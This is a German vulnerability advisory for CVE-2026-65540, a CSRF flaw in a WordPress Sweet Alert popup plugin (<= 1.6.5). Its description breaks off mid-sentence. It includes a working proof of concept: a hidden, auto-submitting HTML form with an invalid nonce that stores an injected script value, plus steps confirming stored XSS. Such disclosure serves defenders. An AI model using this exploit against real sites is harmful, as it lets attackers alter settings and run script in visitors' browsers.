CVE-2026-65540

Popup für CF7 mit Sweet Alert <= 1.6.5 - Cross-Site Request Forgery

Plugin-URL

https://wordpress.org/plugins/cf7-sweet-alert-popup/

Beschreibung

Der Einstellungs-Handler des Plugins enthält einen Logikfehler bei der Nonce-Verifizierung, der sämtlichen CSRF-Schutz deaktiviert. Ein nicht authentifizierter Angreifer kann dies ausnutzen, indem er einen authentifizierten Administrator dazu verleitet, eine bösartige Seite mit einem versteckten, automatisch übermittelten Formular zu besuchen, wodurch die Plugin-Einstellungen beliebig geändert werden. Die übermittelten Werte werden ohne Bereinigung gespeichert und über wp_head unverändert in einen

POC

1. Hosten Sie die folgende HTML-Seite auf einem separaten Server:

<!DOCTYPE html>
<html>
<body>
<h1>Hello</h1>

<form style="visibility:hidden" action="http://TARGET/wp-admin/admin.php?page=cf7-simplepopup"
      method="POST" id="csrf" target="hiddenframe">
  <input name="cf7simplePopupWidth" value="500;alert(document.domain)">
  <input name="cf7simplePopupNonce" value="invalid_nonce">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

2. Melden Sie sich als Administrator bei WordPress an
3. Besuchen Sie die bösartige Seite
4. (Optional) Navigieren Sie zu http://TARGET/wp-admin/admin.php?page=cf7-simplepopup — bestätigen Sie, dass das Feld „Width“ nun 500;alert(document.domain) enthält
5. Besuchen Sie eine beliebige Frontend-Seite; alert(document.domain) wird im Browser ausgeführt, was das gespeicherte XSS bestätigt